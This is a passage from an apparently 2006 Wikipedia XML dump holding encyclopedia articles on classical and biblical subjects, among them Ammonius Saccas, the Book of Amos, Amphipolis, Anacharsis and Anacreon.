#Other commentaries on the Topics and the first six books of the [[Metaphysics]] of [[Aristotle]] still exist in manuscript. 

A life of Aristotle, ascribed to Ammonius, but with more accuracy to [[John Philoponus]], is often prefixed to editions of Aristotle. It has been printed separately, with Latin translation and scholia, at [[Leiden]], 1621, at [[Helmstedt]], 1666, and at [[Paris]], 1850.

Of the value of the logical writings of Ammonius there are various opinions.  K. Prantl speaks of them with great, but hardly merited, contempt.

For a list of his works see [[Johann Albert Fabricius|J. A. Fabricius]], ''Bibliotheca Graeca,'' v. 704-707: [[C. A. Brandis]], ''Uber d.  Reihenf. d. Bucher d. Aristot. Org.,'' 283 f.; [[K. Prantl]], ''Gesch. d.  Logik,'' i. 642. 

==References==
*{{1911}}
[[Category:Latin authors]]</text>
    </revision>
  </page>
  <page>
    <title>Ammonius Saccas</title>
    <id>1724</id>
    <revision>
      <id>37530826</id>
      <timestamp>2006-01-31T16:25:26Z</timestamp>
      <contributor>
        <username>Andrew c</username>
        <id>704413</id>
      </contributor>
      <text xml:space="preserve">'''Ammonius Saccas''' ([[3rd century|3rd century AD]]) was a Greek [[philosopher]] of [[Alexandria]], often called the founder of the [[Neoplatonism|Neoplatonic school]].

Of humble origin, he appears to have earned a livelihood as a [[Porter (carrier)|porter]] at the docks of Alexandria; hence his nickname of &quot;Sack-bearer&quot; (''Sakkas,'' for ''sakkoforos''). The details of his life are unknown. After long study and meditation, Ammonius opened a school of philosophy in Alexandria, where his principal pupils were [[Herennius]], the two [[Origen]]s, [[Cassius Longinus]] and [[Plotinus]]. As he designedly wrote nothing, and, with the aid of his pupils, kept his views secret after the manner of the [[Pythagoreans]], his philosophy must be inferred mainly from the writings of Plotinus. As [[Eduard Zeller]] points out, however, there is reason to think that his doctrines were closer to those of the earlier [[Platonic idealism|Platonists]] than to those of Plotinus. [[Hierocles of Alexandria|Hierocles]], writing in the [[5th century]], states that Ammonius' fundamental doctrine was an eclecticism, derived from a critical study of [[Plato]] and [[Aristotle]]. His admirers credited him with having reconciled the quarrels of the two great schools. His death is variously given between AD [[240]] and [[245]], at a great age.

The details of the life of the philosopher Ammonius Saccas are so unclear that he has frequently been confused with a Christian philosopher of the [[Ammonius of Alexandria (Christian)|same name]]. 

==See also==
*[[Origen]]

[[Category:240s deaths]]
[[Category:Neoplatonists]]
[[Category:Roman era philosophers]]

[[cs:Ammónios Sakkás]]
[[de:Ammonios Sakkas]]
[[es:Ammonio Saccas]]
[[fr:Ammonios Saccas]]
[[it:Ammonio Sacca]]
[[hu:Ammóniosz Szakkasz]]
[[pl:Amoniusz]]
[[pt:Amônio Sacas]]
[[ru:Аммоний Саккас]]
[[sk:Ammonios Sakkas]]
[[fi:Ammonios Sakkas]]</text>
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  </page>
  <page>
    <title>Amorites</title>
    <id>1725</id>
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      <timestamp>2004-01-05T04:09:51Z</timestamp>
      <contributor>
        <username>Zestauferov</username>
        <id>21678</id>
      </contributor>
      <comment>merge &amp; redirect</comment>
      <text xml:space="preserve">#REDIRECT[[Amorite]]</text>
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  </page>
  <page>
    <title>Book of Amos</title>
    <id>1726</id>
    <revision>
      <id>41198988</id>
      <timestamp>2006-02-25T19:00:33Z</timestamp>
      <contributor>
        <username>Bdc822</username>
        <id>990774</id>
      </contributor>
      <comment>/* Where was it written? */</comment>
      <text xml:space="preserve">{{Books of the Old Testament}} {{Books of Nevi'im}}

The '''Book of Amos''' is one of the books of the [[Nevi'im]] and of the [[Old Testament]].

==Who wrote it?==
'''[[Amos (prophet)|Amos]]''' was a [[prophet]] during the reign of Jeroboam ben Joash (Jeroboam II), ruler of [[Israel]] from 793 BCE to 753 BCE, and the reign of Uzziah, King of Judah, at a time when both kingdoms (Israel in the North and Judah in the South) were peaking in prosperity. He was a contemporary of the prophet [[Hosea]], but likely preceded him. Many of the earlier accounts of prophets found in the [[Old Testament]] are found within the context of other accounts of Israel's history. Amos, however, is the first prophet whose name also serves as the title of the corresponding biblical book in which his story is found.

It is unlikely that Amos  was a &quot;professional prophet&quot;, trained to work in the king's court. Rather, he gives the account of being called by God while working in his trade as a herdsman and farmer. The food that he farmed (sycamore figs) is thought to be a food most widely known as part of an [[Ancient Egyptian|Egyptian]] commoner's diet. Therefore, scholars assume that Amos was not a member of the wealthy elite who he, by God's command, condemns in his prophesy.  Rather he appears to be a working-class shepherd. Amos pointed out that he was not trained as a professional prophet, but did not condemn prophecy in itself.

==When was it written?==
Most scholars believe that [[Amos (prophet)|Amos]] gave his message in the autumn of 750 BCE or 749 BCE. It is generally understood that his preaching at [[Bethel]] lasted only a single day at the least and a few days at the most. Leading up to this time, Assyrian armies battled against [[Damascus]] for a number of years, which greatly diminished Syria's threat to [[Israel]]. As a result of the fighting amongst its neighbors, Israel had the benefit of increasing its borders almost to those of the time of [[David]] and [[Solomon]]. 

It should also be noted that Amos preached about two years before a very large earthquake, and made reference to it twice in his book. [[Zechariah]] remembers this earthquake over 200 years later (Zech. 14:5).

==Where was it written?==
Some scholars believe that [[Amos (prophet)|Amos]]' message was recorded after he delivered it to the Northern Kingdom, upon returning to his southern homeland of [[Tekoa]], a town eight kilometres south of [[Bethlehem]]. It is mentioned many times in the [[Old Testament]] ([[Joshua]] 15:39, [[2 Samuel]] 14:9 and 23:26, [[1 Chronicles]] 11:28). [[Rehoboam]] is reported to have fortified Tekoa along with other cities in [[Kingdom of Judah|Judah]] in [[2 Chronicles]] 11:5-6. 

There are some differing opinions as to the location of the Tekoa Amos was presumably from. It is believed by most that Amos was a southern farmer, called by [[God]] to deliver his prophetic message in the North. However, some believe that Amos was actually from a Tekoa in the North, near [[Galilee]], but this is most likely not true. They believe that it is more probable that Amos was from the North because it has conditions more suitable for the cultivation of sycamore figs than the Tekoa of the South. Sycamore figs grow at a low elevation, lower than the Tekoa of Judah, which is at a relatively high elevation of 850 metres (overlooking both [[Jerusalem]] and [[Bethlehem]]). Others have discredited the theory about the Galilean Tekoa, citing that the difference in elevation between the two locations is not significant. Scholars in support of the idea of Amos being from the North also say it makes more sense because of Amaziah's accusation of conspiracy in chapter seven, verse 10. A conspirator, they argue, is more likely to be a national. 

Two other opinions of where Amos' writings were recorded deserve mention. They are that 1) disciples of Amos followed him and recorded his message and 2) that someone in his audience in the North recorded his message.

==Why was it written?==
The Book of Amos is set in a time when the people of [[Israel]] have reached a low point in their devotion to [[Yahweh]] - the people have become greedy and have stopped following and adhering to their values. The wealthy elite are becoming rich at the expense of others. Peasent farmers who once practiced subsistence farming are being forced to farm what is best for foreign trade, mostly wine and oil. 

Yahweh speaks to Amos, a farmer and herder and tells him to go to [[Samaria]], the capital of the Northern kingdom. Through Amos, Yahweh tells the people that he is going to judge Israel for its sins, and it will be a foreign nation that will enact his judgement. 

The people understand judgment as the coming of &quot;the Day of the Lord.&quot; &quot;The Day of the Lord&quot; was widely celebrated and highly anticipated by the followers of Yahweh. However, Amos came to tell the people that &quot;the Day of the Lord&quot; was coming soon and that it meant divine judgment and justice for their own iniquity.

==What are the themes of the books?==
Many scholars break the book of Amos up into three sections. Chapters one and two look at the nations surrounding [[Israel]] and then Israel itself through a moral/ethical filter. Chapters three to six are a collection of verses that look more specifically at Israel's transgressions. Chapters seven to nine include visions that [[Yahweh]] gave Amos as well as Amaziah's rebuke of the prophet. The last section of the book (7:1 to 9:8), commonly referred to as the Book of Visions, contains the only narrative section. 

In the first two visions, [[Amos (prophet)|Amos]] is able to convince Yahweh not to act out the scenes of discipline presented to him. The ideas of discipline and justice, although not enacted here, corresponds to the central message in what some refer to as the Book of Woes (5:1 to 6:14). This message can be seen most clearly in verse 24 of chapter five. The plagues in the preceding chapter, chapter four, were supposed to be seen as acts of discipline that turned Israel back to Yahweh. However, the people did not interpret the acts this way and the discipline turned into judgment for the people's disobedience. In the second set of visions (7:7-9), there is no intercession by Amos and Yahweh says that he &quot;will never pass by them again.&quot; The plight of Israel has become hopeless. [[God]] will not hold back judgment because Israel refuses to listen to the prophets and even goes so far as to try to silence them (2:12, 3:8, 7:10-17). 

The central idea of the book of Amos according to most scholars is that Yahweh puts his people on the same level as the nations that surround it -- Yahweh expects the same morality of them all. As it is with all nations that rise up against the kingdom of Yahweh, even Israel and Judah will not be exempt from the judgment of Yahweh because of their idolatry and unjust ways. The nation that represents Yahweh must be made pure of anything or anyone that profanes the name of Yahweh. Yahweh's name must be exalted. 

Other major themes in the book of Amos include: social justice and concern for the disadvantaged; the idea that Israel's [[covenant]] with Yahweh did not exempt them from his standards of morality; Yahweh is [[God]] of all nations; Yahweh is judge of all nations; Yahweh is God of moral righteousness; Yahweh made all people; Yahweh elected Israel and then redeemed Israel so that he would be known throughout the world; election by Yahweh means that those elected are responsible to live according to the purposes clearly outlined to them in the law; Yahweh will only destroy the unjust and a remnant will remain and; Yahweh is free to judge, redeem and act as savior to Israel.
----

===Translations of the book of Amos:===
*[[Judaism|Jewish]] translations:
** [http://www.chabad.org/library/archive/LibraryArchive2.asp?AID=16098 Amos] from Chabad.org

*[[Christian]] translations:
** [http://www.biblegateway.com/passage/?search=amos;&amp;version=49; ''Amos'' at BibleGateway.com] (Various translations)

===References:===
* Easton's Bible Dictionary, 1897.
* LaSor, William Sanford et al. ''Old Testament Survey: the Message, Form, and Background of the Old Testament''. Grand Rapids: William B. Eerdmans, 1996.
* Keil, C.F. et al. ''Commentary on the Old Testament in Ten Volumes''. Grand Rapids: William B. Eerdmans, 1986.
* Metzger, Bruce M. et al. ''The Oxford Companion to the Bible''. New York: Oxford University Press, 1993.
* Doorly, William J. ''Prophet of Justice: Understanding the Book of Amos''. New York: Paulist Press 1989.
* Carroll R., M. Daniel ''Amos: The Prophet and His Oracles''. Louisville: Westminster John Knox Press, 2002.
* Coote, Robert B. ''Amos Among the Prophets: Composition and Theology''. Philadelphia: Fortress Press, 1981.
* Haynes, John H. ''Amos the Eighth Century Prophet: His Times and His Preaching''. Nashville: Abingdon Press, 1988.
* Hasel, Gerhard F. ''Understanding the Book of Amos: Basic Issues in Current Interpretations''. Grand Rapids: Baker Book House, 1991.

==External links==
Online translations of ''Book of Amos'':
* [http://www.anova.org/sev/htm/hb/30_amos.htm ''Amos'' at The Great Books] (New Revised Standard Version)
* {{biblegateway||Amos}}
* [http://en.wikisource.org/wiki/Bible%2C_King_James%2C_Amos ''Amos'' at Wikisource] (Authorised King James Version)

Related articles:
* [http://explorers.whyte.com/Bible/amos.htm Nicholas Whyte on Amos]
* [http://www.bible.gen.nz/ ''Amos'' Hypertext Bible Commentary]

----
''Prepared in 2005 for the course BIBL5023 at [[Acadia Divinity College]]''

[[Category:Nevi'im|Amos]]
[[Category:Old Testament books|Amos]]

[[cs:Kniha Ámos]]
[[de:Amos (Buch)]]
[[fr:Livre d'Amos]]
[[pl:Księga Amosa]]
[[fi:Aamoksen kirja]]
[[zh:阿摩司書]]</text>
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  </page>
  <page>
    <title>Amphipolis</title>
    <id>1727</id>
    <revision>
      <id>41392175</id>
      <timestamp>2006-02-27T00:56:06Z</timestamp>
      <contributor>
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      </contributor>
      <text xml:space="preserve">[[Image:Amphipolis location.jpg|right|300px|]]
'''Amphipolis''' (modern Greek: '''Amfipoli'''; see also [[List of traditional Greek place names]]), was an ancient city of [[Macedon]]ia, on the east bank of the river [[Strymon]], where it emerges from Lake Cercinitis, about 3 m. from the sea.

Originally a [[Thracian]] town, known as ''Ennea Odoi'' (&quot;Nine Roads&quot;), it was [[colonized]] by Athenians with other Greeks under [[Hagnon]] in [[437 BC]], previous attempts--in [[497 BC|497]], [[476 BC|476]] (Schol. [[Aeschines|Aesch.]] ''De fals. leg.'' 31) and [[465 BC|465]]--having been unsuccessful.

In [[424 BC]] it surrendered to the Spartan [[Brasidas]] without resistance, owing to the gross negligence of the historian [[Thucydides]], who was with the fleet at [[Thasos]].  In [[422 BC]] [[Cleon]] led an unsuccessful expedition to recover it, in which both he and Brasidas were slain (see [[Battle of Amphipolis]]).

The importance of Amphipolis in ancient times was due to the fact that it commanded the bridge over the Strymon, and consequently the route from northern [[Greece]] to the [[Hellespont]]; it was important also as a depot for the gold and silver mines of the district, and for timber, which was largely used in shipbuilding.  This importance is shown by the fact that, in the [[peace of Nicias]] ([[421 BC]]), its restoration to [[Athens]] is made the subject of a special provision, and that about [[417 BC|417]], this provision not having been observed, at least one expedition was made by Nicias with a view to its recovery.

[[Philip of Macedon]] made a special point of occupying it ([[357 BC|357]]), and under the early empire it became the headquarters of the Roman propraetor, though it was recognized as independent.
Many inscriptions, coins, etc., have been found here, and traces of the ancient fortifications and of a [[Roman aqueduct]] are visible. 

==Amphipolis in other media==

[[Xena]], the main fictional character in the [[TV]] series ''[[Xena: Warrior Princess]]'', was of Amphipolis.

==External links==
*[http://www.livius.org Livius], [http://www.livius.org/am-ao/amphipolis/amphipolis.html Amphipolis (Ennea Hodoi)] by Jona Lendering

==References==
*{{1911}}

[[Category:Ancient Greek cities]]
[[Category:Athenian colonies]]
[[Category:Archaeological sites in Greece]]

[[de:Amphipolis]]
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  </page>
  <page>
    <title>Amram</title>
    <id>1728</id>
    <revision>
      <id>39187631</id>
      <timestamp>2006-02-11T08:55:39Z</timestamp>
      <contributor>
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      <comment>Amram means &quot;people are exalted&quot;</comment>
      <text xml:space="preserve">{{dablink|[[Amram Gaon]] was a Jewish Babylonian sage who lived in the 9th century.}}

'''Amram''' ('''&amp;#1506;&amp;#1463;&amp;#1502;&amp;#1456;&amp;#1512;&amp;#1464;&amp;#1501;''' &quot;Friend of the most high ([[Elohim|God]]&quot;), or &quot;People are Exalted&quot; [[Standard Hebrew]] '''&amp;#703;Amram''', [[Tiberian Hebrew]] '''&amp;#703;Amr&amp;#257;m''') is a [[Levite]], a son of [[Kohath]], the husband of [[Jochebed]] (Ex 6,20 and Num 26,59) and father of [[Aaron]], [[Miriam]] and [[Moses]]. He is mentioned in the [[Book of Exodus]].

According to the [[Talmud]], Amram promulgated the laws of [[marriage]] and [[divorce]] amongst the Jews in Egypt.

The Arabic version refers to the father of Moses as Imran - and the Israeli/Jewish people are referred to as &quot;Aale Imran&quot; (Children of Imran) in the [[Qur'an]], the third [[Surah]] of which is titled ''The House of Imran''. &quot;Imran&quot; is also the name attributed by Muslims to the father of the [[Mary, the mother of Jesus|Virgin Mary]] (he is not named in the Bible, but called &quot;Joachim&quot; in Catholic and Orthodox Tradition).

The Testament of Amram ([[2nd century BC]]) is the name assigned to one of the [[Dead Sea Scrolls]] (4Q535, Manuscript B). It is related to the [[Watchers]]:

''[[Enoch]]: &quot;I saw Watchers in my vision, the dream-vision. Two men were fighting over me ... holding a great contest over me. I asked them, 'Who are you, that you are thus empowered over me?' They answered, 'We have been empowered and rule over all mankind.' They said to me, 'Which of us do you choose to rule you?' I raised my eyes and looked. One of them was terrifying in his appearance, like a serpent, his cloak, many-colored yet very dark. ... And I looked again, and in his appearance, his visage like a [[viper]]. ... I replied to him, 'This Watcher, who is he?' He answered, 'This Watcher ... his three names are [[Belial]] and [[Prince of Darkness]] and [[King of Evil]].' I said (to the other Watcher), 'My lord, what dominion (have you?)' He answered, 'You saw (the viper), and he is empowered over all Darkness, while I (am empowered over all Light.) ... My three names are [[Michael]], [[Prince of Light]] and [[King of Righteousness]].'&quot;'' (translation  Prof. Robert Eisenman)

[[Category:Torah people]]

[[de:Amram]]
[[fr:Imran]]</text>
    </revision>
  </page>
  <page>
    <title>Amyntas I of Macedon</title>
    <id>1729</id>
    <revision>
      <id>36832661</id>
      <timestamp>2006-01-26T19:56:44Z</timestamp>
      <contributor>
        <ip>168.233.1.6</ip>
      </contributor>
      <text xml:space="preserve">'''Amyntas I''', king of [[Macedon]] (c. [[540 BC|540]]-[[498 BC]]), was a 
tributary vassal of [[Darius Hystaspes]] of [[Iran|Persia]].  With him the history of Macedon may be said to begin.  He was the first of its rulers to have relations with other countries; he entered into an alliance with the [[Pisistratus|Peisistratidae]] of [[Athens]], and when [[Hippias (son of Pisistratus)|Hippias]] was driven out of Athens he offered him the territory of [[Anthemus]] on the [[Thermaic Gulf]], with the object of turning the [[Hellenic civilization|Greek]] party feuds to his own advantage.

'''Ancient sources:''' ([[Herodotus]] v. 17, 94; [[Junianus Justinus|Justin]] vii. 2; [[Thucydides]] ii. 100; [[Pausanias (geographer)|Pausanias]] ix. 40).

{{1911}}

{{start box}}
{{succession box |
  title=[[Kings of Macedon|King of Macedon]] |
  before=[[Alcetas I of Macedon|Alcetas I]] |
  after=[[Alexander I of Macedon|Alexander I]] |
  years=547 BC&amp;ndash;498 BC
}}
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[[Category:498 BC deaths]]
[[Category:Macedonian monarchs]] 
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  <page>
    <title>Amyntas III of Macedon</title>
    <id>1730</id>
    <revision>
      <id>32160863</id>
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      <minor />
      <comment>robot  Adding: fr</comment>
      <text xml:space="preserve">[[Image:Amyntas III-161113.jpg|thumb|Amyntas III, stater]]

'''Amyntas III''' (or '''II'''), son of Arrhidaeus, grandfather of [[Alexander the Great]], was king of [[Macedon]] from [[393 BC|393]] (or 389) to [[369 BC]].

He came to the throne after the ten years of confusion which followed the death of [[Archelaus II of Macedon|Archelaus II]], the patron of art and literature. But he had many enemies at home; in [[383 BC|383]] he was driven out by the [[Illyria]]ns, but in the following year, with the aid of the [[Thessalia]]ns, he recovered his kingdom.

He concluded a treaty with the [[Sparta]]ns, who assisted him to reduce [[Olynthus]] ([[379 BC|379]]).  He also entered into a league with [[Jason of Pherae]], and assiduously cultivated the friendship of [[Athens]].

By his wife, [[Eurydice II of Macedon|Eurydice]], he had three sons, the youngest of whom was the famous [[Philip II of Macedon]]. 

==References==
*{{1911}}

{{start box}}
{{succession box |
  title=[[Kings of Macedon|King of Macedon]] |
  before=[[Argaeus II of Macedon|Argaeus II]] |
  after=[[Alexander II of Macedon|Alexander II]] |
  years=393 BC&amp;ndash;369 BC
}}
{{end box}}

[[Category:369 BC deaths]]
[[Category:Macedonian monarchs]]

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  <page>
    <title>Anabaptists</title>
    <id>1731</id>
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        <ip>Conversion script</ip>
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      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Anabaptist]]
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  </page>
  <page>
    <title>Anacharsis</title>
    <id>1732</id>
    <revision>
      <id>22844082</id>
      <timestamp>2005-09-08T14:43:38Z</timestamp>
      <contributor>
        <username>Curps</username>
        <id>44727</id>
      </contributor>
      <comment>replace &amp;quot with &quot;</comment>
      <text xml:space="preserve">[[Image:Anacharsis.jpg|frame|left|Anacharsis]]
:''&quot;He marvelled that among the Greeks, those who were skillful in a thing vie in competition; those who have ''no'' skill, judge&quot;'' &amp;mdash;[[Diogenes Laertius]], of Anacharsis.

'''Anacharsis''' was a [[Scythian]] philosopher who travelled from his homeland on the northern shores of the [[Black Sea]] to Athens in the early [[6th century BCE]] and made a great impression as a forthright, outspoken &quot;[[barbarian]],&quot; apparently a forerunner of the [[Skepticism|Skeptics]] and [[Cynics]], though none of his authentic works have survived. 

Anacharsis was half Greek and the son of a Scythian chief, from a mixed Hellenistic culture, apparently in the region of the [[Cimmerian Bosporus]]. He cultivated the outsider's knack of seeing the illogic in familiar things. His conversation was droll and frank, and Solon and the Athenians took to him as a natural philosopher, not unlike the way the French took to [[Benjamin Franklin]]. His rough and free discourse became proverbial among Athenians as 'Scythian discourse'. 

Arriving in Athens about 589 BCE, he came to the house of [[Solon]] the philosopher and lawgiver, and told Solon's slave that Anacharsis was come to visit, desired to see Solon, and wanted to enter into hospitable relations. The servant returned with Solon's quintessentially Greek answer, &quot;Men generally limit such hospitality to their own countrymen.&quot; Thereupon the Scythian stepped significantly across the threshold, and said that, now that he was in Solon's country, it would be quite suitable.

Anacharis was the first stranger who received the privileges of Athenian citizenship. He was reckoned one of the [[Seven Sages of Athens]], and it is said that he was initiated into the [[Eleusinian Mysteries]] of the Great Goddess, a privilege denied to those who did not speak fluent Greek. 

His book paralleling the laws of the Scythians with the laws of the Greeks has been lost. It was he who compared laws to spiders' webs, which catch small flies and allow wasps and hornets to escape. 

He exhorted moderation in everything, saying that the vine bears three clusters of grapes: the first wine, pleasure; the second, drunkenness, the third, disgust. So he became a kind of [[emblem]] to the Athenians, who inscribed on his statues: 'Restrain your tongues, your appetites, your passions.' (Compare the philosophy of [[Epicurus]].)

His famous ''Letter to [[Croesus]]'', the proverbially rich king of [[Lydia]], is apocryphal, but typical of his quality:

:&quot;Anarcharsis to Croesus: O king of the Lydians, I am come to the country of the Greeks, in order to become acquainted with their customs and institutions; but I have no need of gold, and shall be quite contented if I return to Scythia a better man than I left it. However I will come to Sardis, as I think it very desirable to become a friend of yours.&quot;

When he did return to the Scythians, he was killed, Herodotus (iv, 76) reported, by his own brother, for his Greek ways and especially for the impious attempt to sacrifice to the Mother Goddess [[Cybele]], whose role was unwelcome among the patriarchal Scythians.

[[Strabo]] makes him the (probably legendary) inventor of the [[anchor]] with two flukes.

==The revival of Anacharsis in the 18th century== 
In [[1788]] [[Jean Jacques Barthelemy]] (1716-95), a highly esteemed classical scholar and Jesuit, published ''The Travels of Anacharsis the Younger in Greece,'' a learned imaginary travel journal, one of the first [[historical novel]]s, which a modern scholar has called &quot;the encyclopedia of the new cult of the antique&quot; in the late 18th Century; it had a high impact on the growth of [[philhellenism]] in France at the time. The book went through many editions, was reprinted in the United States and translated into German and other languages. It later inspired European sympathy for the [[Greek War of Independence|Greek struggle for independence]] and spawned sequels and imitations through the [[19th century]].

==External links== 
*[http://classicpersuasion.org/pw/diogenes/dlanacharsis.htm Diogenes Laertius, ''Lives of the Philosophers'' i, 101: brief entry gives many pithy but apocryphal remarks.]
*[http://www.whoosh.org/issue56/rich1.html A witty comparison of the Anacharsis cult with the modern cult of Xena, &quot;Warrior Princess&quot;.] (See [[Xena: Warrior Princess|Xena]].)

[[Category:Presocratic philosophers]]
[[Category:Ancient philosophers]]
[[Category:Scythians]]

==Classical references==
*Herodotus iv. 76; Lucian, ''Scytha''; Cicero, ''Tusc.  Disp.'' v. 32; Diogenes  Laertius i. 101.

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  <page>
    <title>Anacreon (poet)</title>
    <id>1733</id>
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      <comment>Category:Pederasty</comment>
      <text xml:space="preserve">[[Image:As-anacreonte.jpg|thumb|200px|right|Anacreonte roman copy , Rome in  Palazzo dei Conservatori]]
'''Anacreon''' (born ca. [[570 BC]]) was a [[Greece|Greek]] [[lyric poem|lyric]] [[poet]], notable for his drinking songs and hymns.  Later Greeks included him in the canonical list of [[nine lyric poets]].

== Life ==
He was born at [[Teos]], an [[Ionia]]n city on the coast of [[Asia Minor]]. Little more is known of his life, but it is likely that he shared the voluntary exile of the mass of his fellow-townsmen who sailed to [[Abdera, Thrace|Abdera]] in [[Thrace]], where they founded a colony, rather than remaining behind to surrender their city to [[Harpagus]], one of [[Cyrus the Great]]'s generals. Cyrus was, at the time ([[545 BC]]), besieging the Greek cities of [[Asia Minor]]. Anacreon seems to have taken part in the fighting, in which, on his own admission, he did not distinguish himself.  

From Thrace he removed to the court of [[Polycrates of Samos]]. He is said to  have acted as [[tutor]] to Polycrates; that he enjoyed the [[tyrant]]'s confidence we learn on the authority of [[Herodotus]] (iii.121), who represents the poet as sitting in the royal chamber when audience was given to the [[Iran|Persia]]n herald. In return for his favour and protection, Anacreon wrote many complimentary [[ode]]s upon his patron. Like his fellow-lyric poet, [[Horace]], who was one of his great admirers, and in many respects a kindred spirit, Anacreon seems to have been made for the society of courts. On the death of Polycrates, [[Hipparchus (son of Pisistratus)|Hipparchus]], who was then in power at [[Athens]] and inherited the literary tastes of his father [[Pisistratus|Peisistratus]], sent a special embassy to fetch the popular poet to Athens in a galley of fifty oars. Here he became acquainted with the poet [[Simonides]], and other members of the brilliant circle which had gathered round Hipparchus. When this circle was broken up by the assassination of Hipparchus, Anacreon seems to have returned to his native town of Teos, where, according to a metrical epitaph ascribed to his friend Simonides, he died and was buried. According to others, before returning to Teos, he accompanied Simonides to the court of [[Echecrates]], a [[Thessaly|Thessalian]] dynast of the house of the [[Aleuadae]]. [[Lucian]] mentions Anacreon amongst his instances of the longevity of eminent men, as having completed eighty-five years. If an anecdote given by [[Pliny the Elder]] (''Nat. Hist.'' vii. 7) is to be trusted, he was choked at last by a grape-stone, but the story has an air of mythical adaptation to the poet's habits, which makes it somewhat [[apocryphal]].  

Anacreon was for a long time popular at Athens, where his statue was to be seen on the [[Acropolis, Athens|Acropolis]], together with that of his friend [[Xanthippus]], the father of [[Pericles]]. On several coins of Teos he is represented holding a lyre in his hand, sometimes sitting, sometimes standing. A marble statue found in [[1835]] in the [[Sabine]] district, and now in the [[Villa Borghese]], is said to represent Anacreon.  

== Poetry ==
Anacreon had a reputation as a composer of hymns, as well as of those [[bacchanalian]] and amatory   lyrics - some of a [[Pederasty in ancient Greece|pederastic]] nature - which are commonly associated with his name. Two short hymns to [[Artemis]] and [[Dionysus]], consisting of eight and eleven lines respectively, stand first amongst his few undisputed remains, as printed by recent editors. But pagan hymns, especially when addressed to such deities as [[Aphrodite]], [[Eros (god)|Eros]] and [[Dionysus]], are not so very unlike what we call &quot;Anacreontic&quot; poetry as to make the contrast of style as great as the word might seem to imply. The tone of Anacreon's lyric effusions has probably led to an unjust estimate, by both ancients and moderns, of the poet's personal character. The &quot;triple worship&quot; of the [[Muses]], Wine and Love, ascribed to him as his religion in an old Greek epigram (''Anthol.'' iii. 25, 51), may have been as purely professional in the two last cases as in the first, and his private character on such points was probably neither much better nor worse than that of his contemporaries. [[Athenaeus]] remarks acutely that he seems at least to have been sober when he wrote; and he himself strongly repudiates, as Horace does, the brutal characteristics of intoxication as fit only for [[barbarian]]s and [[Scythian]]s (Fr. 64). 

Of the five books of lyrical pieces by Anacreon which the ''[[Suda]]'' and Athenaeus mention as extant in their time, we have now but the merest fragments, collected from the citations of later writers. Those graceful little poems (most of them first printed from the MSS. by [[Henry Estienne]] in [[1554]]), which long passed among the learned for the songs of Anacreon, and which are well-known to many English readers in the translations of [[Abraham Cowley]] and Moore, are really of much later date, though possibly here and there genuine fragments of the poet are included. Modern critics, however, regard the entire collection as imitations belonging to different periods--the oldest probably to [[Alexandria]]n times, the most recent to the last days of [[paganism]]. They will always retain a certain popularity from their lightness and elegance, and some of them are fair copies of Anacreon's style, which would lend itself readily enough to a clever imitator. A strong argument against their genuineness lies in the fact that the peculiar forms of the [[Ionic Greek]], in which Anacreon wrote, are not to be found in these reputed odes, while the fragments of his poems quoted by ancient writers are full of Ionicisms.  Again, only one of the quotations from Anacreon in ancient writers is to be found in these poems, which further contain no references to contemporaries, whereas [[Strabo]] (xiv. p. 638) expressly states that Anacreon's poems included numerous allusions to [[Polycrates]]. In particular, Anacreon addresses a poem to the boy Smerdis, with whom he had fallen in love, and whom Polycrates, in a fit of jealousy had shorn of his locks (Athenaeus (12.540e) and Aelian (VH 9.4). The character of Love as a mischievous little boy is quite different from that given by Anacreon, who describes him as &quot;striking with a mighty [[axe]], like a [[smith]],&quot; and is more akin to the conceptions of later literature.

==A Poem==
'''The Wounded Cupid. Song'''

Cupid as he lay among&lt;br /&gt;
Roses, by a Bee was stung.&lt;br /&gt;
Whereupon in anger flying&lt;br /&gt;
To his Mother, said thus crying;&lt;br /&gt;
Help! O help! your Boy's a dying.&lt;br /&gt;
And why, my pretty Lad, said she?&lt;br /&gt;
Then blubbering, replied he,&lt;br /&gt;
A winged Snake has bitten me&lt;br /&gt;
Which Country people call a Bee.&lt;br /&gt;
At which she smil'd; then with her hairs&lt;br /&gt;
And kisses drying up his tears:&lt;br /&gt;
Alas! said she, my Wag! if this&lt;br /&gt;
Such a pernicious torment is:&lt;br /&gt;
Come, tell me then, how great's the smart&lt;br /&gt;
Of those, thou woundest with thy Dart!&lt;br /&gt;

Translated from the Greek by [[Robert Herrick (poet)|Robert Herrick]] ([[1591]]-[[1674]]).

== External links ==
*[http://www.gottwein.de/Grie/lyr/LyrAnakr01.php Zweisprchige Textauswahl zu den griechischen Lyrikern mit zus&amp;auml;tzlichen Hilfen]

==Poets named after Anacreon==
* ''[[Francesco Albani|Anacreon of Painters]]'', Francesco Albani
* ''[[Hafiz|Anacreon of Persia]]'', Hafiz
* ''[[Bertrand Barère de Vieuzac|Anacreon of the Guillotine]]'', Barere
* ''[[Carl Michael Bellman|Anacreon of Sweden]]'', Bellmann
* ''[[Hippolit Bogdanovich|Russian Anacreon]]'', Bogdanovich

==References==
*{{1911}}


[[Category:Ancient Greek poets]]
[[Category:Pederasty]]

[[bg:Анакреон]]
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[[he:אנאקראון ]]
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[[uk:Анакреонт]]</text>
    </revision>
  </page>
  <page>
    <title>Anah</title>
    <id>1734</id>
    <revision>
      <id>41377090</id>
      <timestamp>2006-02-26T23:05:31Z</timestamp>
      <contributor>
        <username>Charles Matthews</username>
        <id>12978</id>
      </contributor>
      <minor />
      <comment>lk</comment>
      <text xml:space="preserve">''This article is about the town of Anah. For the character in the Book of [[Genesis]], see [[Minor characters in the Book of Genesis]].''

'''Anah''', or '''`Ana''', a town on the [[Euphrates]], about mid-way between the Gulf of Alexandretta and the [[Persian Gulf]]. It is called '''Hanat''' in a Babylonian letter (about [[2200 BC]]), and '''An-at''' by the scribe of Assur-nasir-pal (879 B.C.), Anatho (Isidore Charax), Anatha (Ammianus Marcellinus) by Greek and Latin writers in the early Christian centuries, 
`Ana (sometimes, as if plural, `Anat) by Arabic writers. The name has been connected with that of the deity Anat.

